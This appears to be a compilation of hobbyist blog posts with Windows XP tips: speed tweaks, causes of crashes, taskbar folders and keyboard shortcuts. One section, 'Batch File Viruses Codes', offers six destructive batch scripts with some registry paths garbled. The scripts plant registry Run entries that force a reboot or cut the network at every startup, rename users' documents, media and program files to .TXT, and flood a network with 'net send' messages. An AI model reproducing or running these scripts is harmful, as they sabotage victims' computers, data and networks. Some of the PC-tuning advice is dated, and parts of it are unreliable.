My PC Expo-5

23 Ways to Speed Windows XP:


Since defragging the disk won't do much to improve Windows XP performance, here are 23 suggestions that will. Each can enhance the performance and reliability of your customers' PCs. Best of all, most of them will cost you nothing.

1.) To decrease a system's boot time and increase system performance, use the money you save by not buying defragmentation software -- the built-in Windows defragmenter works just fine -- and instead equip the computer with an Ultra-133 or Serial ATA hard drive with 8-MB cache buffer.

2.) If a PC has less than 512 MB of RAM, add more memory. This is a relatively inexpensive and easy upgrade that can dramatically improve system performance.

3.) Ensure that Windows XP is utilizing the NTFS file system. If you're not sure, here's how to check: First, double-click the My Computer icon, right-click on the C: Drive, then select Properties. Next, examine the File System type; if it says FAT32, then back-up any important data. Next, click Start, click Run, type CMD, and then click OK. At the prompt, type CONVERT C: /FS:NTFS and press the Enter key. This process may take a while; it's important that the computer be uninterrupted and virus-free. The file system used by the bootable drive will be either FAT32 or NTFS. I highly recommend NTFS for its superior security, reliability, and efficiency with larger disk drives.

4.) Disable file indexing. The indexing service extracts information from documents and other files on the hard drive and creates a "searchable keyword index." As you can imagine, this process can be quite taxing on any system.

The idea is that the user can search for a word, phrase, or property inside a document, should they have hundreds or thousands of documents and not know the file name of the document they want. Windows XP's built-in search functionality can still perform these kinds of searches without the Indexing service. It just takes longer. The OS has to open each file at the time of the request to help find what the user is looking for.

Most people never need this feature of search. Those who do are typically in a large corporate environment where thousands of documents are located on at least one server. But if you're a typical system builder, most of your clients are small and medium businesses. And if your clients have no need for this search feature, I recommend disabling it.

Here's how: First, double-click the My Computer icon. Next, right-click on the C: Drive, then select Properties. Uncheck "Allow Indexing Service to index this disk for fast file searching." Next, apply changes to "C: subfolders and files," and click OK. If a warning or error message appears (such as "Access is denied"), click the Ignore All button.

5.) Update the PC's video and motherboard chipset drivers. Also, update and configure the BIOS. For more information on how to configure your BIOS properly, see this article on my site.

6.) Empty the Windows Prefetch folder every three months or so. Windows XP can "prefetch" portions of data and applications that are used frequently. This makes processes appear to load faster when called upon by the user. That's fine. But over time, the prefetch folder may become overloaded with references to files and applications no longer in use. When that happens, Windows XP is wasting time, and slowing system performance, by pre-loading them. Nothing critical is in this folder, and the entire contents are safe to delete.

7.) Once a month, run a disk cleanup. Here's how: Double-click the My Computer icon. Then right-click on the C: drive and select Properties. Click the Disk Cleanup button -- it's just to the right of the Capacity pie graph -- and delete all temporary files.

8.) In your Device Manager, double-click on the IDE ATA/ATAPI Controllers device, and ensure that DMA is enabled for each drive you have connected to the Primary and Secondary controller. Do this by double-clicking on Primary IDE Channel. Then click the Advanced Settings tab. Ensure the Transfer Mode is set to "DMA if available" for both Device 0 and Device 1. Then repeat this process with the Secondary IDE Channel.

9.) Upgrade the cabling. As hard-drive technology improves, the cabling requirements to achieve these performance boosts have become more stringent. Be sure to use 80-wire Ultra-133 cables on all of your IDE devices with the connectors properly assigned to the matching Master/Slave/Motherboard sockets. A single device must be at the end of the cable; connecting a single drive to the middle connector on a ribbon cable will cause signaling problems. With Ultra DMA hard drives, these signaling problems will prevent the drive from performing at its maximum potential. Also, because these cables inherently support "cable select," the location of each drive on the cable is important. For these reasons, the cable is designed so drive positioning is explicitly clear.

10.) Remove all spyware from the computer. Use free programs such as AdAware by Lavasoft or SpyBot Search & Destroy. Once these programs are installed, be sure to check for and download any updates before starting your search. Anything either program finds can be safely removed. Any free software that requires spyware to run will no longer function once the spyware portion has been removed; if your customer really wants the program even though it contains spyware, simply reinstall it. For more information on removing Spyware visit this Web Pro News page.

11.) Remove any unnecessary programs and/or items from Windows Startup routine using the MSCONFIG utility. Here's how: First, click Start, click Run, type MSCONFIG, and click OK. Click the StartUp tab, then uncheck any items you don't want to start when Windows starts. Unsure what some items are? Visit the WinTasks Process Library. It contains known system processes, applications, as well as spyware references and explanations. Or quickly identify them by searching for the filenames using Google or another Web search engine.

12.) Remove any unnecessary or unused programs from the Add/Remove Programs section of the Control Panel.

13.) Turn off any and all unnecessary animations, and disable active desktop. In fact, for optimal performance, turn off all animations. Windows XP offers many different settings in this area. Here's how to do it: First click on the System icon in the Control Panel. Next, click on the Advanced tab. Select the Settings button located under Performance. Feel free to play around with the options offered here, as nothing you can change will alter the reliability of the computer -- only its responsiveness.

14.) If your customer is an advanced user who is comfortable editing their registry, try some of the performance registry tweaks offered at Tweak XP.

15.) Visit Microsoft's Windows update site regularly, and download all updates labeled Critical. Download any optional updates at your discretion.

16.) Update the customer's anti-virus software on a weekly, even daily, basis. Make sure they have only one anti-virus software package installed. Mixing anti-virus software is a sure way to spell disaster for performance and reliability.

17.) Make sure the customer has fewer than 500 type fonts installed on their computer. The more fonts they have, the slower the system will become. While Windows XP handles fonts much more efficiently than did the previous versions of Windows, too many fonts -- that is, anything over 500 -- will noticeably tax the system.

18.) Do not partition the hard drive. Windows XP's NTFS file system runs more efficiently on one large partition. The data is no safer on a separate partition, and a reformat is never necessary to reinstall an operating system. The same excuses people offer for using partitions apply to using a folder instead. For example, instead of putting all your data on the D: drive, put it in a folder called "D drive." You'll achieve the same organizational benefits that a separate partition offers, but without the degradation in system performance. Also, your free space won't be limited by the size of the partition; instead, it will be limited by the size of the entire hard drive. This means you won't need to resize any partitions, ever. That task can be time-consuming and also can result in lost data.

19.) Check the system's RAM to ensure it is operating properly. I recommend using a free program called MemTest86. The download will make a bootable CD or diskette (your choice), which will run 10 extensive tests on the PC's memory automatically after you boot to the disk you created. Allow all tests to run until at least three passes of the 10 tests are completed. If the program encounters any errors, turn off and unplug the computer, remove a stick of memory (assuming you have more than one), and run the test again. Remember, bad memory cannot be repaired, but only replaced.

20.) If the PC has a CD or DVD recorder, check the drive manufacturer's Web site for updated firmware. In some cases you'll be able to upgrade the recorder to a faster speed. Best of all, it's free.

21.) Disable unnecessary services. Windows XP loads a lot of services that your customer most likely does not need. To determine which services you can disable for your client, visit the Black Viper site for Windows XP configurations.

22.) If you're sick of a single Windows Explorer window crashing and then taking the rest of your OS down with it, then follow this tip: open My Computer, click on Tools, then Folder Options. Now click on the View tab. Scroll down to "Launch folder windows in a separate process," and enable this option. You'll have to reboot your machine for this option to take effect.

23.) At least once a year, open the computer's cases and blow out all the dust and debris. While you're in there, check that all the fans are turning properly. Also inspect the motherboard capacitors for bulging or leaks. For more information on this leaking-capacitor phenomena, you can read numerous articles on my site.


Following any of these suggestions should result in noticeable improvements to the performance and reliability of your customers' computers. If you still want to defrag a disk, remember that the main benefit will be to make your data more retrievable in the event of a crashed drive.

My PC Expo-4

10 reasons why PCs crash U must Know


Frnds these are some useful info. what i have studied and U must know for

maintaining ur PC secure and risk free.So i am posting this...

Fatal error:

the system has become unstable or is busy," it says. "Enter to return to Windows or press Control-Alt-Delete to restart your computer. If you do this you will lose any unsaved information in all open applications."

You have just been struck by the Blue Screen of Death. Anyone who uses Mcft Windows will be familiar with this. What can you do? More importantly, how can you prevent it happening?

1. Hardware conflict

The number one reason why Windows crashes is hardware conflict. Each hardware device communicates to other devices through an interrupt request channel (IRQ). These are supposed to be unique for each device.

For example, a printer usually connects internally on IRQ 7. The keyboard usually uses IRQ 1 and the floppy disk drive IRQ 6. Each device will try to hog a single IRQ for itself.

If there are a lot of devices, or if they are not installed properly, two of them may end up sharing the same IRQ number. When the user tries to use both devices at the same time, a crash can happen. The way to check if your computer has a hardware conflict is through the following route:

* Start-Settings-Control Panel-System-Device Manager.

Often if a device has a problem a yellow '!' appears next to its description in the Device Manager. Highlight Computer (in the Device Manager) and press Properties to see the IRQ numbers used by your computer. If the IRQ number appears twice, two devices may be using it.

Sometimes a device might share an IRQ with something described as 'IRQ holder for PCI steering'. This can be ignored. The best way to fix this problem is to remove the problem device and reinstall it.

Sometimes you may have to find more recent drivers on the internet to make the device function properly. A good resource is www.driverguide.com. If the device is a soundcard, or a modem, it can often be fixed by moving it to a different slot on the motherboard (be careful about opening your computer, as you may void the warranty).

When working inside a computer you should switch it off, unplug the mains lead and touch an unpainted metal surface to discharge any static electricity.

To be fair to Mcft, the problem with IRQ numbers is not of its making. It is a legacy problem going back to the first PC designs using the IBM 8086 chip. Initially there were only eight IRQs. Today there are 16 IRQs in a PC. It is easy to run out of them. There are plans to increase the number of IRQs in future designs.

2. Bad Ram

Ram (random-access memory) problems might bring on the blue screen of death with a message saying Fatal Exception Error. A fatal error indicates a serious hardware problem. Sometimes it may mean a part is damaged and will need replacing.

But a fatal error caused by Ram might be caused by a mismatch of chips. For example, mixing 70-nanosecond (70ns) Ram with 60ns Ram will usually force the computer to run all the Ram at the slower speed. This will often crash the machine if the Ram is overworked.

One way around this problem is to enter the BIOS settings and increase the wait state of the Ram. This can make it more stable. Another way to troubleshoot a suspected Ram problem is to rearrange the Ram chips on the motherboard, or take some of them out. Then try to repeat the circumstances that caused the crash. When handling Ram try not to touch the gold connections, as they can be easily damaged.

Parity error messages also refer to Ram. Modern Ram chips are either parity (ECC) or non parity (non-ECC). It is best not to mix the two types, as this can be a cause of trouble.

EMM386 error messages refer to memory problems but may not be connected to bad Ram. This may be due to free memory problems often linked to old Dos-based programmes.

3. BIOS settings

Every motherboard is supplied with a range of chipset settings that are decided in the factory. A common way to access these settings is to press the F2 or delete button during the first few seconds of a boot-up.

Once inside the BIOS, great care should be taken. It is a good idea to write down on a piece of paper all the settings that appear on the screen. That way, if you change something and the computer becomes more unstable, you will know what settings to revert to.

A common BIOS error concerns the CAS latency. This refers to the Ram. Older EDO (extended data out) Ram has a CAS latency of 3. Newer SDRam has a CAS latency of 2. Setting the wrong figure can cause the Ram to lock up and freeze the computer's display.

Mcft Windows is better at allocating IRQ numbers than any BIOS. If possible set the IRQ numbers to Auto in the BIOS. This will allow Windows to allocate the IRQ numbers (make sure the BIOS setting for Plug and Play OS is switched to 'yes' to allow Windows to do this.).

4. Hard disk drives

After a few weeks, the information on a hard disk drive starts to become piecemeal or fragmented. It is a good idea to defragment the hard disk every week or so, to prevent the disk from causing a screen freeze. Go to

* Start-Programs-Accessories-System Tools-Disk Defragmenter

This will start the procedure. You will be unable to write data to the hard drive (to save it) while the disk is defragmenting, so it is a good idea to schedule the procedure for a period of inactivity using the Task Scheduler.

The Task Scheduler should be one of the small icons on the bottom right of the Windows opening page (the desktop).

Some lockups and screen freezes caused by hard disk problems can be solved by reducing the read-ahead optimisation. This can be adjusted by going to

* Start-Settings-Control Panel-System Icon-Performance-File System-Hard Disk.

Hard disks will slow down and crash if they are too full. Do some housekeeping on your hard drive every few months and free some space on it. Open the Windows folder on the C drive and find the Temporary Internet Files folder. Deleting the contents (not the folder) can free a lot of space.

Empty the Recycle Bin every week to free more space. Hard disk drives should be scanned every week for errors or bad sectors. Go to

* Start-Programs-Accessories-System Tools-ScanDisk

Otherwise assign the Task Scheduler to perform this operation at night when the computer is not in use.

5. Fatal OE exceptions and VXD errors

Fatal OE exception errors and VXD errors are often caused by video card problems.

These can often be resolved easily by reducing the resolution of the video display. Go to

* Start-Settings-Control Panel-Display-Settings

Here you should slide the screen area bar to the left. Take a look at the colour settings on the left of that window. For most desktops, high colour 16-bit depth is adequate.

If the screen freezes or you experience system lockups it might be due to the video card. Make sure it does not have a hardware conflict. Go to

* Start-Settings-Control Panel-System-Device Manager

Here, select the + beside Display Adapter. A line of text describing your video card should appear. Select it (make it blue) and press properties. Then select Resources and select each line in the window. Look for a message that says No Conflicts.

If you have video card hardware conflict, you will see it here. Be careful at this point and make a note of everything you do in case you make things worse.

The way to resolve a hardware conflict is to uncheck the Use Automatic Settings box and hit the Change Settings button. You are searching for a setting that will display a No Conflicts message.

Another useful way to resolve video problems is to go to

* Start-Settings-Control Panel-System-Performance-Graphics

Here you should move the Hardware Acceleration slider to the left. As ever, the most common cause of problems relating to graphics cards is old or faulty drivers (a driver is a small piece of software used by a computer to communicate with a device).

Look up your video card's manufacturer on the internet and search for the most recent drivers for it.

6. Viruses

Often the first sign of a virus infection is instability. Some viruses erase the boot sector of a hard drive, making it impossible to start. This is why it is a good idea to create a Windows start-up disk. Go to

* Start-Settings-Control Panel-Add/Remove Programs

Here, look for the Start Up Disk tab. Virus protection requires constant vigilance.

A virus scanner requires a list of virus signatures in order to be able to identify viruses. These signatures are stored in a DAT file. DAT files should be updated weekly from the website of your antivirus software manufacturer.

An excellent antivirus programme is McAfee VirusScan by Network Associates ( www.nai.com). Another is Norton AntiVirus 2000, made by Symantec ( www.symantec.com).

7. Printers

The action of sending a document to print creates a bigger file, often called a postscript file.

Printers have only a small amount of memory, called a buffer. This can be easily overloaded. Printing a document also uses a considerable amount of CPU power. This will also slow down the computer's performance.

If the printer is trying to print unusual characters, these might not be recognised, and can crash the computer. Sometimes printers will not recover from a crash because of confusion in the buffer. A good way to clear the buffer is to unplug the printer for ten seconds. Booting up from a powerless state, also called a cold boot, will restore the printer's default settings and you may be able to carry on.

8. Software

A common cause of computer crash is faulty or badly-installed software. Often the problem can be cured by uninstalling the software and then reinstalling it. Use Norton Uninstall or Uninstall Shield to remove an application from your system properly. This will also remove references to the programme in the System Registry and leaves the way clear for a completely fresh copy.

The System Registry can be corrupted by old references to obsolete software that you thought was uninstalled. Use Reg Cleaner by Jouni Vuorio to clean up the System Registry and remove obsolete entries. It works on Windows 95, Windows 98, Windows 98 SE (Second Edition), Windows Millennium Edition (ME), NT4 and Windows 2000.

Read the instructions and use it carefully so you don't do permanent damage to the Registry. If the Registry is damaged you will have to reinstall your operating system. Reg Cleaner can be obtained from www.jv16.org

Often a Windows problem can be resolved by entering Safe Mode. This can be done during start-up. When you see the message "Starting Windows" press F4. This should take you into Safe Mode.

Safe Mode loads a minimum of drivers. It allows you to find and fix problems that prevent Windows from loading properly.

Sometimes installing Windows is difficult because of unsuitable BIOS settings. If you keep getting SUWIN error messages (Windows setup) during the Windows installation, then try entering the BIOS and disabling the CPU internal cache. Try to disable the Level 2 (L2) cache if that doesn't work.

Remember to restore all the BIOS settings back to their former settings following installation.

9. Overheating

Central processing units (CPUs) are usually equipped with fans to keep them cool. If the fan fails or if the CPU gets old it may start to overheat and generate a particular kind of error called a kernel error. This is a common problem in chips that have been overclocked to operate at higher speeds than they are supposed to.

One remedy is to get a bigger better fan and install it on top of the CPU. Specialist cooling fans/heatsinks are available from www.computernerd.com or www.coolit.com

CPU problems can often be fixed by disabling the CPU internal cache in the BIOS. This will make the machine run more slowly, but it should also be more stable.

10. Power supply problems

With all the new construction going on around the country the steady supply of electricity has become disrupted. A power surge or spike can crash a computer as easily as a power cut.

If this has become a nuisance for you then consider buying a uninterrupted power supply (UPS). This will give you a clean power supply when there is electricity, and it will give you a few minutes to perform a controlled shutdown in case of a power cut.

It is a good investment if your data are critical, because a power cut will cause any unsaved data to be lost.

My PC Expo-3

How To Access Your Folders From Your Taskbar

This is an easy way to get to the folders on your system without having to open a Windows Explorer Window every time you want to access files. I find it very useful to have this feature as it allows me to access my Folders and Drives immediately and saves me a lot of time.

This works in Windows XP:

1. Right Click an empty spot on your Taskbar (Between your Start Button and your System Tray).

2. Click Toolbars.

3. Click New Toolbar.

4. A Small Window will Open that allows you to pick the folder you wish to make a Toolbar. If you want to access your Desktop Without having to minimize all your windows. Just Pick Desktop. If you want to access ONLY your My Documents Folder, Select that. Any folder will work for this.

5. Click OK.

The New Tool bar will appear at the bottom of your screen next to your System Tray.
If you find this to be not useful, Repeat Steps 1 and 2 and then check click the Toolbar you created that has a check mark next to it. And it will disappear.


How Do U See Hidden Files, Using DOS

Simple and useful tip

at command prompt just type

>dir /ah


if the list is too long u can use

>dir /ah/p/w

How Long Has Your System Been Running

Here's how you verify system uptime:

Click Start | Run and type cmd to open a command prompt.

At the prompt, type systeminfo

Scroll down the list of information to the line that says System Up Time.

This will tell you in days, hours, minutes and seconds how long the system has been up.

Note that this command only works in XP Pro, not in XP Home. You can, however, type net statistics workstation at the prompt in Home. The first line will tell you the day and time that the system came online



Have Notepad In Send To

Many apply a registry tweak to have notepad as an option for unknown file types. We frequently see such files which are actually just text, but named with some odd file-extension. And then, some suspicious files which we want to make sure what the contents are. Well, in such cases where the registry tweak is applied, the downside happens to be that even some known files get associated with notepad - but no, all we want is to be able to open a file with notepad - the association part in such cases is unwanted interference. Also, notepad becomes a permanent fixture on the right-click menu - which is again an annoyance.

So what we do, is to have notepad as an option in the Send-To options, of the right-click menu in explorer.

It fulfils the purpose to perfection (atleast, in my case). Here's what we do:

1. right-click desktop, choose "New >> Shortcut"

2. Type the location of the item - "notepad" - (that's all, no need to give path)

3. Next >> type name for shortcut - "Edit with Notepad"

4. Click finish

5. Now right-click this shortcut on the desktop, and choose properties.

6. Confirm that the "target" and "start in" fields are using variables - "%windir%\system32\notepad.exe" - (absolute paths will be problematic if you use this .LNK on machines other than your own)

7. Now, browse to "%UserProfile%\SendTo" in explorer (which means "C:\Documents and Settings\User_Name\SendTo\" folder)

8. And copy the "Edit with Notepad.lnk" file which you already created, to that folder.

9. So now, you can right-click on ANY file-type, and be offered an option to open with notepad, from the SendTo sub-menu.

So now, you just right-click on an .nfo or .eml or .diz file (which are associated with other programs, and are sometimes just plain-text files), and choose "Send To >> Edit with Notepad" and it will open in notepad!
No more botheration of applying registry tweaks for something as simple as this.



Set Program Compatability

Most programs run properly on Windows XP. The exceptions are some older games and other programs that were written specifically for an earlier version of Windows. To run your program on Windows XP, you can try the following, Run the Program Compatibility Wizard. As an alternative, you can set the compatibility properties manually. Update your program, drivers, or hardware. These options are covered in detail below.

 
The Program Compatibility Wizard

This wizard prompts you to test your program in different modes (environments) and with various settings.

For example, if the program was originally designed to run on Windows 95, set the compatibility mode to Windows 95 and try running your program again. If successful, the program will start in that mode each time.

The wizard also allows you to try different settings, such as switching the display to 256 colors and the screen resolution to 640 x 480 pixels.

If compatibility problems prevent you from installing a program on Windows XP, run the Program Compatibility Wizard on the setup file for the program.

The file may be called Setup.exe or something similar, and is probably located on the Installation disc for the program.

To run the Program Compatibility Wizard click Start, click Help and Support, click Find compatible hardware and software for Windows XP, and then, under See Also in the navigation pane, click "Program Compatibility Wizard."

Set the compatibility properties manually

As an alternative to running the Program Compatibility Wizard, you can set the compatibility properties for a program manually.

The settings are the same as the options in the Program Compatibility Wizard.

To set the compatibility properties for a program manually Right-click the program icon on your desktop or the shortcut on the Start menu for the program you want to run, and then click Properties.

Click the Compatibility tab, and change the compatibility settings for your program.

The Compatibility tab is only available for programs installed on your hard drive.
Although you can run the Program Compatibility Wizard on programs or setup files on a CD-ROM or floppy disk, your changes will not remain in effect after you close the program. For more information about an option on the Compatibility tab, right-click the option and then click "What's This."

Update your program or drivers

If your program does not run correctly after testing it with the Program Compatibility Wizard, check the Web for updates or other fixes, as follows:

Check the Web site of the program's manufacturer to see if an update or patch is available.

Check Windows Update to see if a fix is available for the program.

Click Home on the menu bar of Help and Support Center, then click Windows Update in the right pane.

If the program is a game that uses DirectX, ensure that you are using the latest version of DirectX. In addition, check the Web site of the manufacturer of your video card or sound card to see if newer drivers are available for either of them.

My PC Expo-2

 Batch File Viruses Codes:

Code 1:

Shutdown computer everytime it is turned on
(save as hshutdown.bat)

echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v /t reg_sz /d c:windowshartlell.bat /f
echo You have been HACKED.
PAUSE

Code 2:

Change files to non-working TXT files
(save as txt.bat)

REN *.DOC *.TXT
REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT

Code 3:

 
Disable internet permanently
(save as hinternet.bat)

echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo You Have Been HACKED!
PAUSE
 



Code 4: 


System Meltdown
(save as Crash.bat)

:CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH
ipconfig /release
shutdown -r -f -t0
echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v HAHAHA /t reg_sz /d c:windowshartlell.bat /f
echo You Have Been Hackedecho @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo YOU HAVE BEEN HACKED *****
REN *.DOC *.TXT
REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT

PAUSE

PAUSE




Code 5:

Temporarily flood network
(save as flood.bat)

:CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH



 Code 6:


Temporarily disable internet
(save as internet.bat)

ipconfig /release

Shutdown Computer Once
(save as shutdown.bat)

shutdown -r -f -t0



My PC Expo-1

Make your folders invisible with no name and no icon:

1)Make a new folder in ur Desktop.(Not in any drives)
2)Now rename the folder(U have to hold ALT key and type 0160).
3)Now u have a folder with out a name as shown below.





4)Right click on the folder>properties>customize. Click on change icon.
5)Scroll a bit, u should find some empty spaces, Click on any one of them.






click OK. You are Done.

Adding Pictures in Mp3 files:

I found this option in my Windows Media Player

In the Windows Media Player 11, right-click a song and select Advance Tag Editor.
From there you can add pictures to your mp3s.

Some famous Virtualization Softwares:

Using Virtualization softwares you could run another PC within ur actual PC with all functionalities ofthe physical PC.
Eg: you can have your vitual hard disk,virtual CD/DVD-ROM,Network adapters etc..
Moreover you can establish a smart networking between ur physical PC and Virtual PC.

The following lists famous virtualization softwares for a Desktop user:

  • Vmware-Player,Vmware-Workstation(Shareware)
  • Oracle's Virtualbox(freeware)
  • Qemu
  • Microsoft Virtual PC
  • Parallels Workstation


Keyboard Shortcuts,Run Commands for Windows:


Getting used to using your keyboard exclusively and leaving your mouse behind will make you much more efficient at performing any task on any Windows system. I use the following keyboard shortcuts every day:

Windows key + R = Run menu

This is usually followed by:


  • cmd = Command Prompt
  • compmgmt.msc = Computer Management
  • dhcpmgmt.msc = DHCP Management
  • dnsmgmt.msc = DNS Management
  • services.msc = Services
  • eventvwr = Event Viewer
  • dsa.msc = Active Directory Users and Computers
  • dssite.msc = Active Directory Sites and Services
  • Windows key + E = Explorer
  • ALT + Tab = Switch between windows
  • ALT, Space, X = Maximize window
  • CTRL + Shift + Esc = Task Manager
  • Windows key + Break = System properties
  • Windows key + F = Search
  • Windows key + D = Hide/Display all windows
  • CTRL + C = copy
  • CTRL + X = cut
  • CTRL + V = paste
  • Also don't forget about the "Right-click" key next to the right Windows key on your keyboard. Using the arrows and that key can get just about anything done once you've opened up any program.

 Keyboard Shortcuts
  • [Alt] and [Esc] Switch between running applications
  • [Alt] and letter Select menu item by underlined letter
  • [Ctrl] and [Esc] Open Program Menu
  • [Ctrl] and [F4] Close active document or group windows (does not work with some applications)
  • [Alt] and [F4] Quit active application or close current window
  • [Alt] and [-] Open Control menu for active document
  • Ctrl] Lft., Rt. arrow Move cursor forward or back one word
  • Ctrl] Up, Down arrow Move cursor forward or back one paragraph
  • [F1] Open Help for active application
  • Windows+M Minimize all open windows
  • Shift+Windows+M Undo minimize all open windows
  • Windows+F1 Open Windows Help
  • Windows+Tab Cycle through the Taskbar buttons
  • Windows+Break Open the System Properties dialog box


Acessability shortcuts:


  • Right SHIFT for eight seconds........ Switch FilterKeys on and off.
  • Left ALT +left SHIFT +PRINT SCREEN....... Switch High Contrast on and off.
  • Left ALT +left SHIFT +NUM LOCK....... Switch MouseKeys on and off.
  • SHIFT....... five times Switch StickyKeys on and off.
  • NUM LOCK...... for five seconds Switch ToggleKeys on and off.
  • explorer shortcuts
  • END....... Display the bottom of the active window.
  • HOME....... Display the top of the active window.
  • NUM LOCK+ASTERISK....... on numeric keypad (*) Display all subfolders under the selected folder.
  • NUM LOCK+PLUS SIGN....... on numeric keypad (+) Display the contents of the selected folder.
  • NUM LOCK+MINUS SIGN....... on numeric keypad (-) Collapse the selected folder.
  • LEFT ARROW...... Collapse current selection if it's expanded, or select parent folder.
  • RIGHT ARROW....... Display current selection if it's collapsed, or select first subfolder.

Type the following commands in your Run Box (Windows Key + R) or Start Run


  • devmgmt.msc = Device Manager
  • msinfo32 = System Information
  • cleanmgr = Disk Cleanup
  • ntbackup = Backup or Restore Wizard (Windows Backup Utility)
  • mmc = Microsoft Management Console
  • excel = Microsoft Excel (If Installed)
  • msaccess = Microsoft Access (If Installed)
  • powerpnt = Microsoft PowerPoint (If Installed)
  • winword = Microsoft Word (If Installed)
  • frontpg = Microsoft FrontPage (If Installed)
  • notepad = Notepad
  • wordpad = WordPad
  • calc = Calculator
  • msmsgs = Windows Messenger
  • mspaint = Microsoft Paint
  • wmplayer = Windows Media Player
  • rstrui = System Restore
  • netscp6 = Netscape 6.x
  • netscp = Netscape 7.x
  • netscape = Netscape 4.x
  • waol = America Online
  • control = Opens the Control Panel
  • control printers = Opens the Printers Dialog

Internet browser
type in u're adress "google", then press [Right CTRL] and [Enter]
add www. and .com to word and go to it


For Windows XP:


  • Copy. CTRL+C
  • Cut. CTRL+X
  • Paste. CTRL+V
  • Undo. CTRL+Z
  • Delete. DELETE
  • Delete selected item permanently without placing the item in the Recycle Bin. SHIFT+DELETE
  • Copy selected item. CTRL while dragging an item
  • Create shortcut to selected item. CTRL+SHIFT while dragging an item
  • Rename selected item. F2
  • Move the insertion point to the beginning of the next word. CTRL+RIGHT ARROW
  • Move the insertion point to the beginning of the previous word. CTRL+LEFT ARROW
  • Move the insertion point to the beginning of the next paragraph. CTRL+DOWN ARROW
  • Move the insertion point to the beginning of the previous paragraph. CTRL+UP ARROW
  • Highlight a block of text. CTRL+SHIFT with any of the arrow keys
  • Select more than one item in a window or on the desktop, or select text within a document. SHIFT with any of the arrow keys
  • Select all. CTRL+A
  • Search for a file or folder. F3
  • View properties for the selected item. ALT+ENTER
  • Close the active item, or quit the active program. ALT+F4
  • Opens the shortcut menu for the active window. ALT+SPACEBAR
  • Close the active document in programs that allow you to have multiple documents open simultaneously. CTRL+F4
  • Switch between open items. ALT+TAB
  • Cycle through items in the order they were opened. ALT+ESC
  • Cycle through screen elements in a window or on the desktop. F6
  • Display the Address bar list in My Computer or Windows Explorer. F4
  • Display the shortcut menu for the selected item. SHIFT+F10
  • Display the System menu for the active window. ALT+SPACEBAR
  • Display the Start menu. CTRL+ESC
  • Display the corresponding menu. ALT+Underlined letter in a menu name
  • Carry out the corresponding command. Underlined letter in a command name on an open menu
  • Activate the menu bar in the active program. F10
  • Open the next menu to the right, or open a submenu. RIGHT ARROW
  • Open the next menu to the left, or close a submenu. LEFT ARROW
  • Refresh the active window. F5
  • View the folder one level up in My Computer or Windows Explorer. BACKSPACE
  • Cancel the current task. ESC
  • SHIFT when you insert a CD into the CD-ROM drive Prevent the CD from automatically playing.

Use these keyboard shortcuts for dialog boxes:

To Press

  • Move forward through tabs. CTRL+TAB
  • Move backward through tabs. CTRL+SHIFT+TAB
  • Move forward through options. TAB
  • Move backward through options. SHIFT+TAB
  • Carry out the corresponding command or select the corresponding option. ALT+Underlined letter
  • Carry out the command for the active option or button. ENTER
  • Select or clear the check box if the active option is a check box. SPACEBAR
  • Select a button if the active option is a group of option buttons. Arrow keys
  • Display Help. F1
  • Display the items in the active list. F4
  • Open a folder one level up if a folder is selected in the Save As or Open dialog box. BACKSPACE

If you have a Microsoft Natural Keyboard, or any other compatible keyboard that includes the Windows logo key and the Application key , you can use these keyboard shortcuts:



  • Display or hide the Start menu. WIN Key
  • Display the System Properties dialog box. WIN Key+BREAK
  • Show the desktop. WIN Key+D
  • Minimize all windows. WIN Key+M
  • Restores minimized windows. WIN Key+Shift+M
  • Open My Computer. WIN Key+E
  • Search for a file or folder. WIN Key+F
  • Search for computers. CTRL+WIN Key+F
  • Display Windows Help. WIN Key+F1
  • Lock your computer if you are connected to a network domain, or switch users if you are not connected to a network domain. WIN Key+ L
  • Open the Run dialog box. WIN Key+R
  • Open Utility Manager. WIN Key+U


Accessibility keyboard shortcuts:


  • Switch FilterKeys on and off. Right SHIFT for eight seconds
  • Switch High Contrast on and off. Left ALT+left SHIFT+PRINT SCREEN
  • Switch MouseKeys on and off. Left ALT +left SHIFT +NUM LOCK
  • Switch StickyKeys on and off. SHIFT five times
  • Switch ToggleKeys on and off. NUM LOCK for five seconds
  • Open Utility Manager. WIN Key+U



Shortcuts you can use with Windows Explorer:


  • Display the bottom of the active window. END
  • Display the top of the active window. HOME
  • Display all subfolders under the selected folder. NUM LOCK+ASTERISK on numeric keypad (*)
  • Display the contents of the selected folder. NUM LOCK+PLUS SIGN on numeric keypad (+)
  • Collapse the selected folder. NUM LOCK+MINUS SIGN on numeric keypad (-)
  • Collapse current selection if it's expanded, or select parent folder. LEFT ARROW
  • Display current selection if it's collapsed, or select first subfolder. RIGHT ARROW